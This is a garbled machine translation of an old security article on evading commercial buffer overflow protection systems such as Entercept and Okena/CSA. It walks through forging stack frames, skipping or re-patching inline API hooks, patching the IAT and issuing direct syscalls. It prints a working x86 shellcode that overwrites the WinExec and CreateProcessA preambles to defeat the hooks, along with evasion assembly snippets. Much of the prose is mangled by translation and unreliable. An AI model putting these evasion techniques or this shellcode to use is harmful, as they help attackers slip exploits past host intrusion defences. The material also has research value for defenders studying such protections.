To bypass the buffer overflow protection system-vulnerability warning-the black bar safety net

2006-07-15T00:00:00
ID MYHACK58:62200610430
Type myhack58
Reporter 佚名
Modified 2006-07-15T00:00:00

Description

1-Introduction

Recently a period of time,some of the commercial security agencies begin to propose some solutions to solve the buffer overflow problem. This article analyzes these protection schemes,and introduce some techniques to bypass the buffer overflow protection system.

Now quite a few commercial organizations have created many techniques to prevent buffer overflow. Recently, one of the most popular technique is to stack backtracking technique, which is one of the most easy to implement the anti-spill technology, but at the same time it is also most likely to be an attacker to bypass a technology.

It is worth mentioning that,many famous commercial products,such as Entercept and Okena on the use of this technology.

--[2-stack traceback

Existing of most commercial security systems do not actually prevent buffer overflows but rather try to detect Shellcode execution.

The most common of detect Shellcode technique is to check the code page of the permission, by detecting whether the code in a writable memory page performed to determine whether to execute the Shellcode. This approach is feasible,because the code segment of memory property is usually not written, and the X86 architecture does not support non-executable this memory attribute bit.

Some of the overflow protection system also performs some additional checks, used to determine the code's page of memory belongs to a PE file section area of the memory map,and does not belong to an anonymous memory section area

|

[-----------------------------------------------------------]

page = get_page_from_addr( code_addr );

if (page->permissions & WRITABLE)

return BUFFER_OVERFLOW;

ret = page_originates_from_file( page );

if (ret != TRUE)

return BUFFER_OVERFLOW;

[-----------------------------------------------------------]


Pseudo code for code page permission checking

Dependent on the stack back to the buffer overflow protection technologies(BOPT)is not really create a non-executable stack segment,but by Hook operating system calls to monitor the Shellcode execution.

Most of theoperating systemcan be in user mode or kernel mode is Hook.

In the following sections we describe how to evade the kernel hook,and then the next section tells you how to bypass the user mode hook.

--[3-evading kernel mode hook

When the hook of the kernel, Host Intrusion protection system(HIPS)must be able to monitor the user mode API is is where to call.

Since the kernel32. dll and ntdll. dll function is a lot of to call, an API call normally associated with the real system trap calls( syscall trap call)

Apart many stack frames. Therefore, some intrusion prevention system-dependent stack traceback to locate the system call to the original caller.

--[3.1-kernel stack backtrace

Although the stack traceback can occur in user mode and kernel mode, but compared to the user mode component of the stack traceback for buffer overflow Protection Technology kernel component is much more important. Existing commercial BOPT of the core Assembly is completely dependent on the stack traceback to detect Shellcode execution, and therefore evade the kernel Hook can be simplified to make the stack traceback mechanism failure.

Stack traceback involves the epoch times the stack frame,and the return address is passed to the upper layer buffer overflow detection procedures to detect.

Typically, there is an additional"return into libc"check, including a check of a return address is pointing to the Call or Jmp to the next instruction. The most basic stack traceback code(usually be used for BOPT),just like below this as

[-----------------------------------------------------------]

while (is_valid_frame_pointer( ebp )) {

ret_addr = get_ret_addr( ebp );

if (check_code_page(ret_addr) == BUFFER_OVERFLOW)

return BUFFER_OVERFLOW;

if (does_not_follow_call_or_jmp_opcode(ret_addr))

return BUFFER_OVERFLOW;

ebp = get_next_frame( ebp );

}

[-----------------------------------------------------------]


Pseudo code for BOPT stack backtracing

When discussing how to evade stack traceback,most to figure out that the stack traceback of how the X86 system to work on,when you call a function, a typical stack frame looks like this: : :

|-------------------------|

| function B parameter #2 |

|-------------------------|

| function B parameter #1 |

|-------------------------|

| return EIP address |

|-------------------------|

| saved EBP |

|=========================|

| function A parameter #2 |

|-------------------------|

| function A parameter #1 |

|-------------------------|

| return EIP address |

|-------------------------|

| saved EBP |

|-------------------------|


The EBP register points to the next stack frame. Without the EBP register, it will be very difficult, or impossible to correctly identify and track all of the stack frame

A modern compiler usually does not use EBP as the stack frame pointer,but as a General-purpose register,through the EBP optimization,a stack frame looks as follows

||-----------------------|

| function parameter #2 |

|-----------------------|

| function parameter #1 |

|-----------------------|

| return EIP address |

|-----------------------|


Note that the EBP register and do not appear in the stack,without the EBP register, the buffer overflow detection technology can not accurately implement the stack traceback. As a result, they are difficult to detect, a simple"return into libc "type attack can bypass the protection.

Simple call than BOPT hook live API more the underlying API can make this detection technology failure.

--[3.2-forged stack frame

Since the stack is in the Shellcode completely under control, so you can be in the API before the call to completely change its content,specifically transformation of the stack frame can be used to bypass the buffer overflow monitoring.

As previously explained,buffer overflow detection tools find the grid method code 3 key signs:a read-only page attributes, memory-mapped files section of the area and pointing to the call,jmp back to the instruction of the return address. Since function pointers change

calling semantics, BOPT do not (and cannot) check that a call or jmp

actually points to the API being called. Most importantly, the BOPT cannot

check return addresses beyond the last valid EBP frame pointer

(it cannot stack backtrace any further).

Therefore,escape from BOPT can create one with a valid return address of the ultimate(final)the stack frame,the return address must point to an article that resides in a read-only memory pages from the memory mapped file sections, and immediately after a call or jmp instruction after the instruction. Assume that the forged return address reasonably close to the first 2 return address,Shellcodeo can easily again gain control

In order to point to the forged return address,the ideal instruction sequence is

[-----------------------------------------------------------]

jmp [eax] ; or call [eax], or another register

dummy_return: ... ; some number of nops or easily

; reversed instructions, e.g. inc eax

ret ; any return will do, e.g. ret 8

[-----------------------------------------------------------]---

Bypassing kernel BOPT components is easy because they must rely on user controlled data(the stack)to test API calls the validity of the, by the correct operation of the stack, can be effectively the end of the station return address of the analysis

This stack traceback evasion technique also affects the user mode hooks

--[4. Evading userland hooks

If in a valid memory region occurs within a series of correct instructions,then bypass kernel buffer overflow protection is possible. Similar techniques can be used to bypass the user mode BOPT components, more is,since the Shellcode is running with and the user mode Hook of the same privileges,we can also take many other techniques to evade BOPT monitoring.

--[4.1-practical problems-incomplete API Hooking

The user mode buffer overflow protection techniques there are many problems. For example, the attacker will choose a lot of different ways to achieve their purpose,and the overfill protection system may only be able to detect which part of the.

Try to pre-judge an attacker will be how to construct its Shellcode is very difficult, even impossible,to select a good way is not easy, there are many obstacles to cross in front of you,such as

a. Not taking into account the API calling the UNICODE and ANSI version

b. Without taking into account the API of the chain-like calls relationships,such as many kernel32. the functions in a dll just put the ntdll. dll in the function of the Pico package

c. The Microsoft Windows API often changes

--[4.1-no Hook API of all versions

Implementation of user mode Hooking,one of the most commonly encountered mistake is to not fully cover the code path. In order to prevent malicious code,all the attacker can use the API must be Hook. This requires an overflow protection system of the Hook and hold the attacker must be used to the code, however, as we will be revealed, once an attacker has begun the implementation of his code, 3rd party protection system it is very difficult to master all his actions,in fact, we have tested the commercial protection system, no one can effectively cover the attacker's code path

Many of the Windows API there are 2 different versions, ANSI and UNICODE. ANSI function normally to A End,and UNICODE to W end. ANSI function generally is just the UNICODE function of the simple packaging,for example,the CreateFileA is an ANSI function, the parameters passed to it is convert it into a UNICODE string, and then it then calls CreateFileW. Unless we Hook and hold API, ANSI and UNICODE2 version, otherwise the attacker can by calling the API another version to bypass our protection mechanisms

For example,Entercept4. 1 Hook the LoadLibraryA,however it forget to Hook LoadlibraryW. If a protection system is only Hook the APIS of one version, and that it should Hook the UNICODE version of the API,in this regard,Okenal/CSA doing better, it Hook the LoadLibraryA,LoadlibraryW,LoadlibraryExA,LoadlibraryExW. Unfortunately, for the first 3-way overflow protection system, a simple multi-Hook a few kernel32. the dll function is not enough.

--[4.1.2-no Hook deep enough

In WindowsNT,the kernel32. dll just Ntdll. dll simple packaging, but most of the overflow protection system and did not Hook ntdll. dll inside the function,this error and did not Hook the API of the 2 versions is very similar, the attacker can directly call the ntdll. dll in the function to bypass the protection system in Kernel32. dll inside setting of the check.

For example,NAI Entercept try to detect the Shellcode calls the kernel32. the dll GetProcAddress (), however,the Shellcode can be rewritten into a call to ntdll. dll LdrGetProcedureAddress(),which can achieve the same purpose, and bypass the detection.

In General,the shellcode can be completely direct to avoid the user mode to the hook,by calling the system call to achieve the purpose. (See 4. 5 bar)

--[4.1.3-not sufficiently Hook-

The various different Win32 API between the interactions is very complex, and it is difficult to figure out,one not careful will give the intruder left one into the window.

For example,Okena/CSA and NAI entercept both hook up the WinExec trying to prevent the attacker to execute a process,the WinExec call in the following order

The WinExec () - >CreateProcessA () - >CreateProcessInternalA()

Okena/CSA and NAI entercept Hook up the WinExec()and CreateProcessA(),(see Appendix A, an,but,the 2 systems are no Hooks CreateProcessInternalA()(kernel32. dll export),when writing Shellcode,the attacker can use CreateProcessInternalA()instead of WinExec().

In calls CreateProcessInternalA (), CreateProcessA()is pressed into the 2 a NULL into the stack,so the Shellcode just need to press the 2 a Null into the stack, and then directly call the CreateProcessInteralA (), you can escape the 2 kinds of products of the user mode Hook of the monitor.

When the new DLLs and APIs when released,the Win32 API the interaction between more complicated, which makes the problem more complex. Third-party protection system in the implementation of their spill Protection Technology of the time would be detrimental, a small mistake could be exploited by attackers.

--[4.2-hop bed fun

Most of the Win32 API functions at the beginning of 5 bytes is the same,the first EBP is pressed against the stack, and EBP is pointing to the ESP location

[-----------------------------------------------------------]

Code Bytes Assembly

5 5 push ebp

8bec mov ebp, esp

[-----------------------------------------------------------]


Okena/CSA and Entercept use inline function Hooking,they cover the functions of the head 5 bytes of the immediate jump instruction(jmp)or call. The following is the WinExec be hook after the first few bytes

[-----------------------------------------------------------]

Code Bytes Assembly

e8 xx xx xx xx call xxxxxxxx

5 4 push esp

5 3 push ebx

5 6 push esi

5 7 push edi

[-----------------------------------------------------------]


Or, head a few bytes are changed to jmp

[-----------------------------------------------------------]

Code Bytes Assembly

e9 xx xx xx xx jmp xxxxxxxx

...

[-----------------------------------------------------------]


Obviously,Shellcode very easily prior to calling the function to verify whether a function is a Hook,if found to have a protection system exists,Shellcode can use other techniques to bypass the Hook.

--[4.2.1-patch table jumping

When an API is hook,the original function of the first few bytes are stored in a table,so that the overflow protection system can be monitored after the completion of the restore function,these bytes are placed in a patch table the patch table resides in a process space in a region, when the Shellcode detects a Hook exists,it can search for the patch tables, call the original function, which can fully avoid the hook,even if the overfill protection system monitors all of the possible code paths also to no avail.

--[4.2.2-skip Hook]

Another approach, in addition to positioning the patch table table,Shellcode can include a copy of the original function of the head, use the head code to start the execution of the API function, since Intel X86 has variable length instructions, we need to do this

[-----------------------------------------------------------]

Shellcode:

call WinExecPreamble

WinExecPreamble:

push ebp

mov ebp, esp

sub esp, 5 4

jmp WinExec+6

[-----------------------------------------------------------]


If the call path is different from the function is the hook, this technique may not work. Entercept also hook the CreateProcessA(),which is the WinExec()call to the function,therefore, in order to evade detection, shellcode inside should also contain a CreateProcessA()of the entry code.

--[4.3-re-patch the Win32 APIs

If you use the user state of the overflow Protection System Assembly guilty of some fundamental error,even if completely hook WIN32 APIs.

A particular system in the implementation of their API hook when committing a series of errors,in order to be able to rewrite is Hook the function entry code,Dlls the code segment is set to be written,Entercept set kernel32. dll and ntdll. the dll's code segment is writable, so that he will be able to modify the code segment of the content,however,Entercept never put the writable flag is reset!Due to this serious Safety defect,the attacker can use the original function entry point is overwritten to be Hook of function,for the WinExec()and CreateProcessA()in the example, we just overwrite the WinExec()and CreateProcessA()headers 6 bytes(in order to align instruction)

[-----------------------------------------------------------]

WinExecOverWrite:

Code Bytes Assembly

5 5 push ebp

8bec mov ebp, esp

83ec54 sub esp, 5 4

CreateProcessAOverWrite:

Code Bytes Assembly

5 5 push ebp

8bec mov ebp, esp

ff752c push DWORD PTR [ebp+2c]

[-----------------------------------------------------------]


The following shellcode examples can be very effective against NAI Entercept,the method used is to overwrite the function header

[-----------------------------------------------------------]

// This sample code overwrites the preamble of WinExec and

// CreateProcessA to avoid detection. The code then

// calls WinExec with a "calc.exe" parameter.

// The code demonstrates that by overwriting function

// preambles, it is able to evade Entercept and Okena/CSA

// buffer overflow protection.

_asm {

pusha

jmp JUMPSTART

START:

pop ebp

xor eax, eax

mov al, 0x30

mov eax, fs:[eax];

mov eax, [eax+0xc];

// We now have the module_item for ntdll.dll

mov eax, [eax+0x1c]

// We now have the module_item for kernel32.dll

mov eax, [eax]

// Image base of kernel32.dll

mov eax, [eax+0x8]

movzx ebx, word ptr [eax+3ch]

// pe. oheader. directorydata[EXPORT=0]

mov esi, [eax+ebx+78h]

lea esi, [eax+esi+18h]

// EBX now has the base module address

mov ebx, eax

lodsd

// ECX now has the number of function names

mov ecx, eax

lodsd

add eax,ebx

// EDX has addresses of functions

mov edx,eax

lodsd

// EAX has address of names

add eax,ebx

// Save off the number of named functions

// for later

push ecx

// Save off the address of the functions

push edx

RESETEXPORTNAMETABLE:

xor edx, edx

INITSTRINGTABLE:

mov esi, ebp // Beginning of string table

inc esi

MOVETHROUGHTABLE:

mov edi, [eax+edx*4]

add edi, ebx // EBX has the process base address

xor ecx, ecx

mov cl, BYTE PTR [ebp]

test cl, cl

jz DONESTRINGSEARCH

STRINGSEARCH: // ESI points to the function string table

repe cmpsb

je Found

// The number of named functions is on the stack

cmp [esp+4], edx

je NOTFOUND

inc edx

jmp INITSTRINGTABLE

Found:

pop ecx

shl edx, 2

add edx, ecx

mov edi, [edx]

add edi, ebx

push edi

push ecx

xor ecx, ecx

mov cl, BYTE PTR [ebp]

inc ecx

add ebp, ecx

jmp RESETEXPORTNAMETABLE

DONESTRINGSEARCH:

OverWriteCreateProcessA:

pop edi

pop edi

push 0x06

pop ecx

inc esi

rep movsb

OverWriteWinExec:

pop edi

push edi

push 0x06

pop ecx

inc esi

rep movsb

CallWinExec:

push 0x03

push esi

call [esp+8]

NOTFOUND:

pop edx

STRINGEXIT:

pop ecx

popa;

jmp EXIT

JUMPSTART:

add esp, 0x1000

call START

WINEXEC:

_emit 0x07

_emit 'W'

_emit 'i'

_emit 'n'

_emit 'E'

_emit 'x'

_emit 'e'

_emit 'c'

CREATEPROCESSA:

_emit 0x0e

_emit 'C'

_emit 'r'

_emit 'e'

_emit 'a'

_emit 't'

_emit 'e'

_emit 'P'

_emit 'r'

_emit 'o'

_emit 'c'

_emit 'e'

_emit 's'

_emit 's'

_emit 'A'

ENDOFTABLE:

_emit 0x00

WinExecOverWrite:

_emit 0x06

_emit 0x55

_emit 0x8b

_emit 0xec

_emit 0x83

_emit 0xec

_emit 0x54

CreateProcessAOverWrite:

_emit 0x06

_emit 0x55

_emit 0x8b

_emit 0xec

_emit 0xff

_emit 0x75

_emit 0x2c

COMMAND:

_emit 'c'

_emit 'a'

_emit 'l'

_emit 'c'

_emit '.'

_emit 'e'

_emit 'x'

_emit 'e'

_emit 0x00

EXIT:

_emit 0x90

// Normally call ExitThread or something here

_emit 0x90

}

[-----------------------------------------------------------]


--[4.4-attacking userland components

Although escape the user mode overflow protection system of the hook and the technique is very effective,but we have other good way to bypass the detection. Because the shellcode and overflow protection system are run in the same rightLimit and address space, this makes the shellcode can directly attack overflow protection system itself.

Basically,attack the buffer overflow protection system is to overthrow the shellcode detection mechanisms for the implementation of

shellcode check the validity of only 2 basic technical principles:

  1. The need to detect the data is in is hook the API calls to process the dynamic decision

Or

  1. Data when the process starts to collect and then in each API call time is checked

In each case, the attacker may disrupt the process.

--[4.4.1-patch IAT

Compared to the implementation of their pages in memory properties of the function,the commercialization of the overflow protection system is usually to useoperating systemprovides the API functions. In WinNT,they are encapsulated in ntdll. dll and these APIS through the PE's import table is imported into the user mode component,an attacker can modify the shellcode to a function where the dll's export table,to change the API of location,by providing its own API to the overflow protection system is using, we can easily bypass the detection.

--[4.4.2-Patch Data section

For a variety of reasons,a overflow detection system may use a pre-built page property of the list, so we even changed the VirtualQuery()the address(that is replaced by this function)is also of no use. In order to destroy the overflow detection system,The shellcode must locate and modify this list.

--[4.5-directly calling the Syscall

Like mentioned earlier,not by ntdll. dll to call the syscall,but the attacker can own the shellcode directly inside the call to syscall,although this approach can effectively deal with the user mode detection Assembly,but it can't bypass the kernel state of the detection component.

In order to use this technology, you must understand that the kernel function how to use parameters,these parameters may be associated with kernel32. dll and ntdll. the dll function using different parameters. The same,you must know the system call of the call number,you can dynamically get this number by using the Get function address in a similar way,once you have ntdll. dll the function address,skip a byte, and then read the next DWORD,this is the system call table the system call number, which is commonly used in the rootkit inside

Here is a some pseudo-code shows how to directly call NtReadFile

...

xor eax, eax

// Optional Key

push eax

// Optional pointer to large integer with the file offset

push eax

push Length_of_Buffer

push Address_of_Buffer

// Before call make room for two DWORDs called the IoStatusBlock

push Address_of_IoStatusBlock

// Optional ApcContext

push eax

// Optional ApcRoutine

push eax

// Optional Event

push eax

// Required file handle

push hFile

// EAX must contain the system call number

mov eax, Found_Sys_Call_Num

// EDX needs the address of the userland stack

lea edx, [esp]

// Trap into the kernel

// (recent Windows NT versions use "sysenter" instead)

int 2e


--[4.6-forged stack frame

As in 3. Section 2 As discussed above,the kernel stack traceback can be through the fake stack frame to avoid,shellcode can be forged one without the EBP register to the stack frame, because the stack traceback rely on the EBP register to find the next stack frame, fake stack frame can prevent the stack back through the fake stack frame

Of course,when the EIP still pointing to the one that resides in a writable memory segment of shellcode,generating a fake stack frame is of no use,in order to bypass the protection code,shellcode needs to use a bit in the non-writable memory area of the address,this will generate a problem, because the shellcode eventually to regain execution control.

In order to regain control, we use"ret"instruction,this instruction can be in memory in the Dynamic Search 0xC3 to get to

The following is a plain Loadlibrary("kernel32.dll")call example

push kernel32_string

call LoadLibrary

return_eip:

.

.

.

LoadLibrary: ; * see below for a stack illustration

.

.

.

ret ; return to stack-based return_eip

|------------------------------|

| address of "kernel32.dll" str|

|------------------------------|

| return address (return_eip) |

|------------------------------|


As previously explained,the overflow protection system of code before the LoadLibrary implementation,since the return address falls in a writable memory inside,to protect the system records the overflow behavior and suspend the target process

The following code demonstrates the use of'ret'instruction techniques

push return_eip

push kernel32_string

; fake "call LoadLibrary" call

push address_of_ret_instruction

jmp LoadLibrary

return_eip:

.

.

.

LoadLibrary: ; * see below for a stack illustration

.

.

.

ret ; return to non stack-based address_of_ret_instruction

address_of_ret_instruction:

.

.

.

ret ; return to stack-based return_eip


Once again,the overflow protection system of code before the LoadLibrary implementation,but this time,the stack save return address is located in writable memory, the more good is that the stack does not appear the EBP register, so that the protected code can not pass the stack back to find the next stack frame, and then detect the next stack frame the return address is pointing to a writable memory. This allows to return to the ret,shellcode call LoadLibrary,the ret instruction POPs the next return address from the stack,and then make EIP point to it

|------------------------------|

| return address (return_eip) |

|------------------------------|

| address of "kernel32.dll" str|

|------------------------------|

| address of "ret" instruction |

|------------------------------|


More of that,but provided a more complex fake stack frame to disrupt the protection code

The following is a use of'ret 8'to replace'ret'fake stack frame example

|--------------------------------|

| return address |

|--------------------------------|

| address of "ret" instruction | <- fake frame 2

|--------------------------------|

| any value |

|--------------------------------|

| address of "kernel32.dll" str |

|--------------------------------|

| address of "ret 8" instruction | <- fake frame 1

|--------------------------------|

This can lead to Special the 3 2-bit values out of the stack,is any analysis even more confusing

--[5-summary

Now the main commercial overflow protection system does not prevent stack overflow, but rather attempt to detect shellcode execution. The most commonly used technique is dependent on the stack back to the code page permission checking.

Stack traceback calendar over all the stack frames, and then check their return address is located in a writable memory area, if not, it is determined that shellcode.

Herein, the stopper shows some of the techniques used to bypass user mode and kernel mode overflow protection system. Its scope covers the processing of the function entry code and create fake stack frame.

All in all,now the mainstream of the overflow protection system are defective, give us a untrue sense of security in a powerful attacker before, these systems seem vulnerable.